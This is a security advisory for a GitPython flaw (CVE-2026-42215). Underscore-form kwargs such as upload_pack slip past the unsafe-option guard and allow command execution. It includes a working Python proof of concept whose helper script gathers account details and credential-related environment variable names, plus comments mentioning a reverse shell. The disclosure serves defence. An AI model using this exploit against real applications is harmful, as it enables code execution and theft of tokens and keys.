CVE-2026-42215
ADVISORY - githubSummary
Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
f.write(f"""#!/bin/sh
{{
echo "code_exec=1"
echo "whoami=$(id)"
echo "cwd=$(pwd)"
echo "uname=$(uname -a)"
printf 'argv='; printf '<%s>' "$@"; echo
env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)
subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
with open(os.path.join(producer, "README"), "w") as f:
f.write("x")
subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
check=True,
stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo = Repo(victim)
remote = repo.remote("origin")
# the literal Git option name is properly blocked.
try:
remote.fetch(**{"upload-pack": wrapper})
print("control=unexpected_success")
except UnsafeOptionError:
print("control=blocked")
# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)
# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
- Expected result:
- The script prints
control=blocked - The script prints
proof_exists True ... - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including
id, working directory, argv, and selected environment variable names
Example output:
GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.
Impact
Who is impacted:
- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
- Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with
**kwargs - CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )
What the attacker needs to control:
- A value that becomes
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()
From a severity perspective, this could lead to
- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
- Modification of repositories, build outputs, or release artifacts
- Lateral movement from CI/CD workers or automation hosts
- Full compromise of the worker or service process handling repository operations
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
Common Weakness Enumeration (CWE)
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
GitHub
2.8
CVSS SCORE
8.8high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| gitpython | pypi | - | - | >=3.1.30,<3.1.47 | 3.1.47 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
Alpine
-
Debian
-
Ubuntu
-